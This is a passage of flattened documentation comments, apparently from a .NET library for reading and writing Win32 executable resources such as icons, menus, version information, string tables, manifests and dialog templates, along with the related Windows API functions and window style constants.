pixels. If the function succeeds, the return value is a handle to the compatible bitmap (DDB). If the function fails, the return value is NULL. Selects an object into a specified device context. The new object replaces the previous object of the same type. Handle to the device context. Handle to the object to be selected. If the selected object is not a region, the handle of the object being replaced indicates success. If the selected object is a region, one of the following values indicates success. Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. Handle to a logical pen, brush, font, bitmap, region, or palette. Nonzero indicates success. Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context. Deletes the specified device context. A handle to the device context. If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. A generic resource. Raw resource data. Raw resource data. An unstructured generic resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A generic resource. Resource name. Resource type. Resource language. Read a generic resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. This structure depicts the organization of data in a hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. A new collection of icons that can be embedded into an executable file. This structure depicts the organization of data in a .ico file. Resource type. Icon. Cursor. Type of the group icon resource. Collection of icons in an .ico file. An existing .ico file. An existing icon (.ico) file. Load from a .ico file. An existing icon (.ico) file. Read icons. Pointer to the beginning of a FILEGRPICONDIR structure. Pointer to the end of a FILEGRPICONDIR structure. This structure depicts the organization of icon data in a .ico file. Icon header. Icon bitmap. New icon data. Icon width. Icon height. Image size in bytes. Read a single icon (.ico). Pointer to the beginning of this icon's data. Pointer to the beginning of all icon data. Pointer to the end of this icon's data. Icon size as a string. Icon size in the width x height format. This structure depicts the organization of data in an icon resource. Directory header. Actual image. Hardware-independent icon directory header. Embedded icon Id. An icon image. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Create a new icon image resource from a file icon. File icon. Resource type. Resource id. Resource language. Icon width in pixels. Icon height in pixels. Image size in bytes. Read an icon resource from a previously loaded module. Module handle. Pointer to a directory entry in the hardware-independent icon resource. Pointer to the end of the icon resource. Read the bitmap image. DIB bits. Size of image. Icon pixel format. Icon pixel format English standard string. String representation of the icon. A string in a format of width x height followed by the pixel format. Write icon resource data to a binary stream. Binary stream. Save icon to a file. Target executable file. This structure depicts the organization of data in an icon resource. An existing icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new icon resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Resource language. An icon resource. Kernel32.dll interop functions. A resource header. Header length. Data length. Resource type. A new resource header of a given length. Resource header type. Binary data. String data. Language and code page combinations. The low-order word of each DWORD must contain a Microsoft language identifier, and the high-order word must contain the IBM code page number. Either high-order or low-order word can be zero, indicating that the file is language or code page independent. Microsoft language identifier. IBM code page number. This structure contains version information about a file. This information is language- and code page–independent. http://msdn.microsoft.com/en-us/library/ms647001.aspx Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number. Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons. Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons. Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons. Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. Contains a bitmask that specifies the Boolean attributes of the file. Specifies the operating system for which this file was designed. Specifies the general type of file. Specifies the function of the file. Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp. Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp. Creates a default Windows VS_FIXEDFILEINFO structure. A default Windows VS_FIXEDFILEINFO. A hardware-independent icon directory resource header. http://msdn.microsoft.com/en-us/library/ms997538.aspx Reserved, must be zero. Resource type, 1 for icons. Number of images. Hardware-independent icon directory entry. See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information. Width of the image. Starting with Windows 95 a value of 0 represents width of 256. Height of the image. Starting with Windows 95 a value of 0 represents height of 256. Number of colors in the image. bColors = 1 << (wBitsPerPixel * wPlanes) If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0. Reserved. Number of bitmap planes. 1: monochrome bitmap Bits per pixel. 1: monochrome bitmap Image size in bytes. Icon ID. Hardware-independent icon directory entry in an .ico file. Icon width. Icon height. Colors; 0 means 256 or more. Reserved. Number of bitmap planes for icons. Horizontal hotspot for cursors. Bits per pixel for icons. Vertical hostpot for cursors. Image size in bytes. Offset of bitmap data from the beginning of the file. Hardware-independent icon structure in an .ico file. Reserved, must be zero. Resource Type (1 for icons). Number of images. If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file. If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination. If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy. If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded. Loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded. The name of the module. This parameter is reserved for future use. The action to be taken when loading the module. Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count. A handle to the loaded library module. If the function succeeds, the return value is nonzero. Predefined resource types. Hardware-dependent cursor resource. Bitmap resource. Hardware-dependent icon resource. Menu resource. Dialog box. String-table entry. Font directory resource. Font resource. Accelerator table. Application-defined resource (raw data). Message-table entry. Hardware-independent cursor resource. Hardware-independent icon resource. Version resource. Allows a resource editing tool to associate a string with an .rc file. Plug and Play resource. VXD. Animated cursor. Animated icon. HTML. Microsoft Windows XP: Side-by-Side Assembly XML Manifest. Enumerates resource types within a binary module. Handle to a module to search. Pointer to the callback function to be called for each enumerated resource type. Specifies an application-defined value passed to the callback function. Returns TRUE if successful; otherwise, FALSE. An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions. The handle to the module whose executable file contains the resources for which the types are to be enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated. Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. Returns TRUE if successful; otherwise, FALSE. Enumerates resources of a specified type within a binary module. Handle to a module to search. Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated. Pointer to the callback function to be called for each enumerated resource name or ID. Specifies an application-defined value passed to the callback function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions. The handle to the module whose executable file contains the resources that are being enumerated. Pointer to a null-terminated string specifying the type of resource that is being enumerated. Specifies the name of a resource of the type being enumerated. Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function. Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason. Enumerates language-specific resources, of the specified type and name, associated with a binary module. The handle to a module to search. Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Pointer to the callback function to be called for each enumerated resource language. Specifies an application-defined value passed to the callback function. Returns TRUE if successful or FALSE otherwise. An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions. The handle to the module whose executable file contains the resources for which the languages are being enumerated. Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated. Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated. Specifies the language identifier for the resource for which the language is being enumerated. Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function. Returns TRUE if successful or FALSE otherwise. Determines the location of the resource with the specified type, name, and language in the specified module. Handle to the module whose executable file contains the resource. Pointer to a null-terminated string specifying the type name of the resource. Pointer to a null-terminated string specifying the name of the resource. Specifies the language of the resource. If the function succeeds, the return value is a handle to the specified resource's information block. Locks the specified resource in memory. Handle to the resource to be locked. If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL. Loads the specified resource into global memory. Handle to the module whose executable file contains the resource. Handle to the resource to be loaded. If the function succeeds, the return value is a handle to the data associated with the resource. Returns the size, in bytes, of the specified resource. Handle to the module whose executable file contains the resource. Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function. If the function succeeds, the return value is the number of bytes in the resource. Closes an open object handle. A valid handle to an open object. If the function succeeds, the return value is nonzero. Returns a handle to either a language-neutral portable executable file (LN file) or a language-specific resource file (.mui file) that can be used by the UpdateResource function to add, delete, or replace resources in a binary module. Pointer to a null-terminated string that specifies the binary file in which to update resources. Specifies whether to delete the pFileName parameter's existing resources. If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions. Adds, deletes, or replaces a resource in a portable executable (PE) file. There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: language-neutral (LN) files and language-specific resource (.mui) files. A module handle returned by the BeginUpdateResource function, referencing the file to be updated. Pointer to a null-terminated string specifying the resource type to be updated. Pointer to a null-terminated string specifying the name of the resource to be updated. Specifies the language identifier of the resource to be updated. Pointer to the resource data to be inserted into the file indicated by hUpdate. Specifies the size, in bytes, of the resource data at lpData. Returns TRUE if successful or FALSE otherwise. Commits or discards changes made prior to a call to UpdateResource. A module handle returned by the BeginUpdateResource function, and used by UpdateResource, referencing the file to be updated. Specifies whether to write the resource updates to the file. If this parameter is TRUE, no changes are made. If it is FALSE, the changes are made: the resource updates will take effect. Returns TRUE if the function succeeds; FALSE otherwise. Neutral primary language ID. US-English primary language ID. Neutral sublanguage ID. US-English sublanguage ID. CREATEPROCESS_MANIFEST_RESOURCE_ID is used primarily for EXEs. If an executable has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will create a process default activation context for the process. The process default activation context will be used by all components running in the process. CREATEPROCESS_MANIFEST_RESOURCE_ID can also used by DLLs. When Windows probe for dependencies, if the dll has a resource of type RT_MANIFEST, ID CREATEPROCESS_MANIFEST_RESOURCE_ID, Windows will use that manifest as the dependency. ISOLATIONAWARE_MANIFEST_RESOURCE_ID is used primarily for DLLs. It should be used if the dll wants private dependencies other than the process default. For example, if an dll depends on comctl32.dll version 6.0.0.0. It should have a resource of type RT_MANIFEST, ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID to depend on comctl32.dll version 6.0.0.0, so that even if the process executable wants comctl32.dll version 5.1, the dll itself will still use the right version of comctl32.dll. When ISOLATION_AWARE_ENABLED is defined, Windows re-defines certain APIs. For example LoadLibraryExW is redefined to IsolationAwareLoadLibraryExW. Resource manifest type. CREATEPROCESS_MANIFEST_RESOURCE_ID ISOLATIONAWARE_MANIFEST_RESOURCE_ID ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks. A pointer to the starting address of the copied block's destination. A pointer to the starting address of the block of memory to copy. The size of the block of memory to copy, in bytes. A resource load exception. The Win32 exception from a resource enumeration function. A new resource load exception. Error message. The inner exception thrown within a single resource. The outer exception from the Win32 API. A combined message of the inner and outer exception. An embedded SxS manifest. Embedded XML manifest. Manifest type. An existing embedded manifest resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new executable CreateProcess manifest. A new executable manifest. Manifest type. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the resource to a binary stream. Binary stream. Load a manifest resource from an executable file. Name of an executable file (.exe or .dll). Manifest resource type. Extended menu template. Menu items. Read the menu template. Address in memory. Write the menu template. Binary stream. String representation of the menu in the MENUEX format. String representation of the menu. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of extended menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. A command menu item. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. An extended popup menu item. Sub menu items. An extended popup menu item. Read an extended popup menu item. Address in memory. End of the menu item structure. Write the menu item to a binary stream. Binary stream. String representation in the MENUEX format. String representation. A generic resource. Menu template. A structured menu resource. A structured menu resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. Read a menu resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the menu resource to a binary stream. Binary stream. String representation of the menu resource in the MENU format. String representation of the menu resource. Standard menu template. Menu items. Read the menu template. Address in memory. Write menu template to a binary stream. Binary stream. String representation of the menu in the MENU format. String representation of the menu. A menu template header. Read the menu template header. Address in memory. Write the menu to a binary stream. Binary stream. A base menu template item. Menu item header. Menu string. Menu text. Read the menu item. Address in memory. End of the menu item structure. String representation in the MENU format. Indent. String representation. String representation in the MENU format. String representation. A collection of menu items. A collection of menu items. Read the menu item collection. Address in memory. End of the menu item structure. Write the menu collection to a binary stream. Binary stream. String representation in the MENU format. String representation. String representation in the MENU format. Indent. String representation. A command menu item. Command menu id. A command menu item. Read a command menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. Returns true if the item is a separator. String representation in the MENU format. Indent. String representation. A popup menu item. Sub menu items. A popup menu item. Read a popup menu item. Address in memory. End of the menu item structure. Write menu item to a binary stream. Binary stream. String representation in the MENU format. String representation. A version resource. Resource type. Resource name. Resource language. Loaded binary nodule. Pointer to the resource. Resource size. Version resource size in bytes. Language ID. Resource type. String representation of the resource type. Resource name. A new resource. A structured resource embedded in an executable module. Module handle. Resource handle. Resource type. Resource name. Language ID. Resource size. Lock and read the resource. Module handle. Resource handle. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Load a resource from an executable (.exe or .dll) file. An executable (.exe or .dll) file. Resource name. Resource type. Resource language. Load a resource from an executable (.exe or .dll) module. An executable (.exe or .dll) module. Resource type. Resource name. Resource language. Read a resource from a previously loaded module. Module handle. Pointer to the beginning of the resource. Pointer to the end of the resource. Write the resource to a memory stream. Binary stream. Return resource data. Resource data. Save a resource. Name of an executable file (.exe or .dll). Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Language id. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Delete a resource from an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Save a resource to an executable (.exe or .dll) file. Path to an executable file. Resource name. Resource type. Resource language. Resource data. Save a batch of resources to a given file. Path to an executable file. The resources to write. A resource Id. There're two types of resource Ids, reserved integer numbers (eg. RT_ICON) and custom string names (eg. "CUSTOM"). A resource identifier. A integer or string resource id. A resource identifier. A integer resource id. A well-known resource-type identifier. A well known resource type. A custom resource identifier. Resource Id. If the resource Id is a string, it will be copied. String representation of a resource type name. An enumerated resource type for built-in resource types only. Returns true if the resource is an integer resource. Returns true if the resource is an integer resource. Resource pointer. Resource Id in a string format. String representation of the resource Id. Resource name. Resource Id hash code. Resource Ids of the same type have the same hash code. Resource Id. Compares two resource Ids by value. Resource Id. True if both resource Ids represent the same resource. Resource info manager. A dictionary of resources, the key is the resource type, eg. "REGISTRY" or "16" (version). A shortcut for available resource types. A new resource info. Unload the previously loaded module. Load an executable or a DLL and read its resources. Source filename. Enumerate resource types. Module handle. Resource type. Additional parameter. TRUE if successful. Enumerate resource names within a resource by type Module handle. Resource type. Resource name. Additional parameter. TRUE if successful. Create a resource of a given type. Module handle. Pointer to the resource in memory. Resource type. Resource name. Language ID. Size of resource. A specialized or a generic resource. Enumerate resource languages within a resource by name Module handle. Resource type. Resource name. Language ID. Additional parameter. TRUE if successful. Save resource to a file. Target filename. Dispose resource info object. A collection of resources. Resource type. A collection of resources of a given type. A collection of resources. Resource type. A collection of resources of a given type. Enumerates all resources within this resource info collection. Resources enumerator. Enumerates all resources within this resource info collection. Resources enumerator. A resource table header. Resource table header. Resource table key. Resource table key. Resource header. A new resource table header. An resource table header with a specific key. resource key An existing resource table. Pointer to resource table data. Read the resource header, return a pointer to the end of it. Top of header. End of header, after the key, aligned at a 32 bit boundary. Write the resource table. Binary stream. String representation. String representation. String representation. Indent. String representation. Resource utilities. Align an address to a 4-byte boundary. Address in memory. 4-byte aligned pointer. Align a pointer to a 4-byte boundary. Pointer to an address in memory. 4-byte aligned pointer. Pad data to a WORD. Binary stream. New position within the binary stream. Pad data to a DWORD. Binary stream. New position within the binary stream. Returns the high WORD from a DWORD value. WORD value. High WORD. Returns the high WORD from a DWORD value. WORD value. High WORD. Write a value at a given position. Used to write a size of data in an earlier located header. Binary stream. Value to write. Address to write the value at. Pad bytes. Binary stream. Number of bytes to write. New position within the stream. Neutral language ID. US-English language ID. Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits). Primary language ID. Sublanguage ID. Microsoft language ID. Return the primary language ID from a Microsoft language ID. Microsoft language ID primary language ID (low-order 10 bits) Return the sublanguage ID from a Microsoft language ID. Microsoft language ID. Sublanguage ID (high-order 6 bits). Returns the memory representation of an object. Object type. Data. Object's representation in memory. Get a collection of flags from a flag value. Flag collection type. Flag value. Collection of flags. Get a string representation of flags. Flag collection type. Flag vlaue String representation of flags in the f1 | ... | fn format. This structure depicts the organization of data in a file-version resource. It contains version information that can be displayed for a particular language and code page. http://msdn.microsoft.com/en-us/library/aa908808.aspx Resource strings. A new string file-version resource. An existing string file-version resource. Pointer to the beginning of a string file-version resource. Read an existing string file-version resource. Pointer to the beginning of a string file-version resource. Pointer to the end of the string file-version resource. Write the string file-version resource to a binary stream. Binary stream. Default (first) string table. Indexed string table. Key. A string table at a given index. String representation of StringFileInfo. Indent. String in the StringFileInfo format. A string, RT_STRING resource. Each string resource block has 16 strings, each represented as an ordered pair (length, text). Length is a WORD that specifies the size, in terms of the number of characters, in the text that follows. Text follows length and contains the string in Unicode without the NULL terminating character. There may be no characters in text, in which case length is zero. String collection in this resource. Returns a string of a given Id. String Id. A string of a given Id. A new string resource. A new string resource of a given block id. Block id. A new string resource of a given block id. Block id. An existing string resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A string with ID, stringId, is located in the block with ID given by the following formula. http://support.microsoft.com/kb/q196774/ String table block id. Read the strings. Handle to a module. Pointer to the beginning of the string table. Address of the end of the string table. String representation of the strings resource. This structure depicts the organization of data in a file-version resource. It contains language and code page formatting information for the strings. A code page is an ordered character set. See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information. Resource strings. A new string table. A new string table. String table key. An existing string table. Pointer to the beginning of the table. Read a string table. Pointer to the beginning of the string table. Pointer to the end of the string table. Write the string table to a binary stream. Binary stream. Last unpadded position. The four most significant digits of the key represent the language identifier. Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits specify the major language, and the high-order 6 bits specify the sublanguage. The four least significant digits of the key represent the code page for which the data is formatted. Returns an entry within the string table. Key. An entry within the string table. String representation of the string table. Indent. String representation of the strings table. This structure depicts the organization of data in a file-version resource. It contains a string that describes a specific aspect of a file, such as a file's version, its copyright notices, or its trademarks. http://msdn.microsoft.com/en-us/library/aa909025.aspx The value is always stored double-null-terminated. When set to true the length in the header will also contain the padding bytes when writing to a stream. The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'. String resource header. Key. String value (removing the double-null-terminator). Value. A new string resource. Key. An existing string resource. Pointer to the beginning of a string resource. Read a string resource. Pointer to the beginning of a string resource. Write a string resource to a binary stream. Binary stream. User32.dll functions. Contains information about an icon or a cursor. Specifies whether this structure defines an icon or a cursor. A value of TRUE specifies an icon; FALSE specifies a cursor. Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot is always in the center of the icon, and this member is ignored. Specifies the icon bitmask bitmap. Handle to the icon color bitmap. Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen. If the function succeeds, the return value is a handle to the DC for the specified window's client area. If the function fails, the return value is NULL. Releases a device context (DC), freeing it for use by other applications. A handle to the window whose DC is to be released. A handle to the DC to be released. The return value indicates whether the DC was released. If the DC was released, the return value is 1. If the DC was not released, the return value is zero. The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. This structure, always the first in a standard template for a dialog box, also specifies the number of controls in the dialog box and therefore specifies the number of subsequent DIALOGITEMTEMPLATE structures in the template. Specifies the style of the dialog box. Extended styles for a window. Specifies the number of items in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box. Specifies the style of the control. Extended styles for a window. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control. Specifies the width, in dialog box units, of the control. Specifies the height, in dialog box units, of the control. Specifies the control identifier. An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes the dialog box and specifies the number of controls in the dialog box. For each control in a dialog box, an extended dialog box template has a block of data that uses the DIALOGEXITEMTEMPLATE format to describe the control. Specifies the version number of the extended dialog box template. This member must be 1. Indicates whether a template is an extended dialog box template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the number of controls in the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. A control entry in an extended dialog template. Specifies the help context identifier for the dialog box window. When the system sends a WM_HELP message, it passes this value in the wContextId member of the HELPINFO structure. Specifies extended windows styles. Specifies the style of the dialog box. Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Specifies the width, in dialog box units, of the dialog box. Specifies the height, in dialog box units, of the dialog box. Specifies the control identifier. Window styles. http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx Creates an overlapped window. An overlapped window has a title bar and a border. Same as the WS_TILED style. Creates a pop-up window. This style cannot be used with the WS_CHILD style. Creates a child window. A window with this style cannot have a menu bar. This style cannot be used with the WS_POPUP style. Creates a window that is initially minimized. Same as the WS_ICONIC style. Creates a window that is initially visible. Creates a window that is initially disabled. A disabled window cannot receive input from the user. Clips child windows relative to each other; that is, when a particular child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips all other overlapping child windows out of the region of the child window to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap, it is possible, when drawing within the client area of a child window, to draw within the client area of a neighboring child window. Excludes the area occupied by child windows when drawing occurs within the parent window. This style is used when creating the parent window. Creates a window that is initially maximized. Creates a window that has a title bar (includes the WS_BORDER style). Creates a window that has a thin-line border. Creates a window that has a border of a style typically used with dialog boxes. A window with this style cannot have a title bar. Creates a window that has a vertical scroll bar. Creates a window that has a horizontal scroll bar. Creates a window that has a window menu on its title bar. The WS_CAPTION style must also be specified. Creates a window that has a sizing border. Same as the WS_SIZEBOX style. Specifies the first control of a group of controls. The group consists of this first control and all controls defined after it, up to the next control with the WS_GROUP style. The first control in each group usually has the WS_TABSTOP style so that the user can move from group to group. The user can subsequently change the keyboard focus from one control in the group to the next control in the group by using the direction keys. Specifies a control that can receive the keyboard focus when the user presses the TAB key. Pressing the TAB key changes the keyboard focus to the next control with the WS_TABSTOP style. Dialog styles. http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx Specifying this style in the dialog template tells Windows that the dtX and dtY values of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the dialog box. Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit versions of Windows. Applies to 16-bit applications only. This style directs edit controls in the dialog box to allocate memory from the application data segment. Otherwise, edit controls allocate storage from a global memory object. Indicates that the header of the dialog box template contains additional data specifying the font to use for text in the client area and controls of the dialog box. Creates a dialog box with a modal dialog-box frame that can be combined with a title bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles. Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the dialog box while the dialog box is displayed. Causes the system to use the SetForegroundWindow function to bring the dialog box to the foreground. Gives the dialog box a nonbold font and draws three-dimensional borders around control windows in the dialog box. Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. This is a monospace font compatible with the System font in 16-bit versions of Windows earlier than 3.0. Creates the dialog box even if errors occur — for example, if a child window cannot be created or if the system cannot create a special data segment for an edit control. Creates a dialog box that works well as a child window of another dialog box, much like a page in a property sheet. This style allows the user to tab among the control windows of a child dialog box, use its accelerator keys, and so on. Centers the dialog box in the working area; that is, the area not obscured by the tray. Centers the dialog box on the mouse cursor. Includes a question mark in the title bar of the dialog box. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a control in the dialog box, the control receives a WM_HELP message. The control should pass the message to the dialog box procedure, which should call the function using the HELP_WM_HELP command. The help application displays a pop-up window that typically contains help for the control. Indicates that the dialog box should use the system font. Extended dialog styles. Creates a window that has a double border; the window can, optionally, be created with a title bar by specifying the WS_CAPTION style in the dwStyle parameter. Specifies that a child window created with this style does not send the WM_PARENTNOTIFY message to its parent window when it is created or destroyed. Specifies that a window created with this style should be placed above all non-topmost windows and should stay above them, even when the window is deactivated. To add or remove this style, use the SetWindowPos function. Specifies that a window created with this style accepts drag-drop files. Specifies that a window created with this style should not be painted until siblings beneath the window (that were created by the same thread) have been painted. The window appears transparent because the bits of underlying sibling windows have already been painted. Creates a multiple-document interface (MDI) child window. Creates a tool window; that is, a window intended to be used as a floating toolbar. A tool window has a title bar that is shorter than a normal title bar, and the window title is drawn using a smaller font. A tool window does not appear in the taskbar or in the dialog that appears when the user presses ALT+TAB. If a tool window has a system menu, its icon is not displayed on the title bar. However, you can display the system menu by right-clicking or by typing ALT+SPACE. Specifies that a window has a border with a raised edge. Specifies that a window has a border with a sunken edge. Includes a question mark in the title bar of the window. When the user clicks the question mark, the cursor changes to a question mark with a pointer. If the user then clicks a child window, the child receives a WM_HELP message. The child window should pass the message to the parent window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The Help application displays a pop-up window that typically contains help for the child window. The window has generic "right-aligned" properties. This depends on the window class. This style has an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. Creates a window that has generic left-aligned properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading-order alignment, the window text is displayed using right-to-left reading-order properties. For other languages, the style is ignored. The window text is displayed using left-to-right reading-order properties. This is the default. If the shell language is Hebrew, Arabic, or another language that supports reading order alignment, the vertical scroll bar (if present) is to the left of the client area. For other languages, the style is ignored. Vertical scroll bar (if present) is to the right of the client area. This is the default. The window itself contains child windows that should take part in dialog box navigation. If this style is specified, the dialog manager recurses into children of this window when performing navigation operations such as handling the TAB key, an arrow key, or a keyboard mnemonic. Creates a window with a three-dimensional border style intended to be used for items that do not accept user input. Forces a top-level window onto the taskbar when the window is visible. Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles. Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles. Windows 2000/XP: Creates a layered window. Note that this cannot be used for child windows. Also, this cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A window created with this style does not pass its window layout to its child windows. Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose horizontal origin is on the right edge. Increasing horizontal values advance to the left. Windows XP: Paints all descendants of a window in bottom-to-top painting order using double-buffering. For more information, see Remarks. This cannot be used if the window has a class style of either CS_OWNDC or CS_CLASSDC. Windows 2000/XP: A top-level window created with this style does not become the foreground window when the user clicks it. The system does not bring this window to the foreground when the user minimizes or closes the foreground window. Possible DIALOGEXITEMTEMPLATE WindowClass ordinals. A button. An edit box. A static control. A list box. A scroll bar. A combo box. Static control styles. A static control specifies the STATIC class, appropriate window style constants, and a combination of the following static control styles. http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx Specifies a simple rectangle and left-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next left-aligned line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and centers the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next centered line. Words that are longer than the width of the control are truncated. Specifies a simple rectangle and right-aligns the text in the rectangle. The text is formatted before it is displayed. Words that extend past the end of a line are automatically wrapped to the beginning of the next right-aligned line. Words that are longer than the width of the control are truncated. Specifies an icon to be displayed in the dialog box. If the control is created as part of a dialog box, the text is the name of an icon (not a filename) defined elsewhere in the resource file. If the control is created via CreateWindow or a related function, the text is the name of an icon (not a filename) defined in the resource file associated with the module specified by the hInstance parameter to CreateWindow. The icon can be an animated cursor. Specifies a rectangle filled with the current window frame color. This color is black in the default color scheme. Specifies a rectangle filled with the current screen background color. This color is gray in the default color scheme. Specifies a rectangle filled with the current window background color. This color is white in the default color scheme. Specifies a box with a frame drawn in the same color as the window frames. This color is black in the default color scheme. Specifies a box with a frame drawn with the same color as the screen background (desktop). This color is gray in the default 